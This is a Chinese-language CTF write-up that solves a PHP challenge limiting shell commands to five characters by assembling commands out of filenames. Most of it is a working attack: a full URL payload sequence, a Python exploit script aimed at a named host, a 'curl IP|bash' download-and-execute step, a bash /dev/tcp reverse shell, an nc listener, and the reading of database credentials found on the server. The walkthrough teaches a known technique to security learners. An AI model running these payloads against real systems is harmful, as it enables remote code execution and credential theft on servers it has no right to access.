代碼如下:
<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);
前提知識:
通過shell命令>a
來創建一個新的空文件
ls>a 將當前目錄下的文件(目錄)寫進a文件,ls>>a 是向a中追加內容
shell中'\'可以連接語句,組成完整的命令
ls -t>a 以時間順序(時間近的排序靠前)排序文件(目錄),並寫入a中
構造shell(echo 1)失敗
將ls換成dir就沒有換行的顯示了,但是命令還是無法執行
經驗證不是命名空格的問題,是shell中不存在換行符的問題,換成ls命令也一樣
修正:
補充:
在shell中輸入*號,會將目錄第一個文件當做命令符,后面的文件當做參數
例:等同於命令id root
curl命令的分隔
需要發現的是,不符合shell語法的字符並不會截斷shell命令的執行,比如下面的a
剩下來我們只需把shell文件放到自己的服務器上,利用curl命令解析並存入本地的文件,最后執行獲得權限
反彈shell
以bash shell為例,寫入服務器的index.php網頁
bash -i >& /dev/tcp/81.68.177.230/12345 0>&1
題目所在主機通過
curl 81.68.177.230|bash
來得到shell,之后追加寫入本地文件執行
話是這么說,但是直接把shell語句寫入php中,會出現解析錯誤,當然也可能是我配置了https證書不認可,無法建立連接的問題
網上另一種方法是把shell放進txt文件中,且重新用docker做個apache環境
curl ip/shell.txt|bash
但是注意'/'在linux中是個特殊的符號,不能作為文件名存在,所以只能連在一起用,不能斷開
最后還是乖乖重新配個環境試試
首先公網主機監聽指定端口,然后執行bash命令向公網指定端口發送連接請求
監聽:
nc -lvnp 12345
反彈shell成功(用本地kali嘗試的)(這里演示時已經停止監聽了,所以拒絕連接)
接下來只要(題目所在主機)執行shell就行了(下面內容因ip而異)
#generate `ls -t>g` to file "_"
http://host/?cmd=>ls\ http://host/?cmd=ls>_
此時_文件中有: ls\
http://host/?cmd=>\ \ http://host/?cmd=>-t\ http://host/?cmd=>\>g http://host/?cmd=ls>>_
追加了內容后有:
ls\
\ \
-t\
\>g
#generate `curl 81.68.177.230|bash` to file "g" http://host/?cmd=>sh http://host/?cmd=>ba\ http://host/?cmd=>\|\ http://host/?cmd=>30\ http://host/?cmd=>2\ http://host/?cmd=>7.\ http://host/?cmd=>17\ http://host/?cmd=>8.\ http://host/?cmd=>6\ http://host/?cmd=>1.\ http://host/?cmd=>8\ http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=>sh _
向g中追加curl命令
#got shell http://host/?cmd=sh g
參考的大佬腳本:
import requests from time import sleep from urllib.parse import quote payload = [ # generate `ls -t>g` file '>ls\\', 'ls>_', '>\ \\', '>-t\\', '>\>g', 'ls>>_', # generate `curl orange.tw.tw|python` # generate `curl 81.68.177.230:8000/shell.txt|bash` '>sh\ ', '>ba\\', '>\|\\', '>00\\', '>80\\', '>\:\\', '>30\\', '>2\\', '>7.\\', '>17\\', '>8.\\', '>6\\', '>1.\\', '>8\\', '>\ \\', '>rl\\', '>cu\\', # exec 'sh _', 'sh g', ] r = requests.get('http://www.youkilearning.top:8028/?reset=1') for i in payload: assert len(i) <= 5 r = requests.get('http://www.youkilearning.top:8028/?cmd=' + quote(i)) print(i) sleep(0.2)
反彈得到shell后,在/home目錄下找到數據庫登陸用戶名和密碼
這bash shell連數據庫時用的就挺難受的,登陸時-u和-p不能有空格,只能在命令行輸入密碼查看
經常卡住要exit,重新登陸數據庫才能繼續
得到flag
參考:https://zoresmile.cn/linux/2020/04/927.html
參考:https://blog.csdn.net/u011377996/article/details/82464383
參考官方WP:https://blog.csdn.net/bajinsheng/article/details/78703249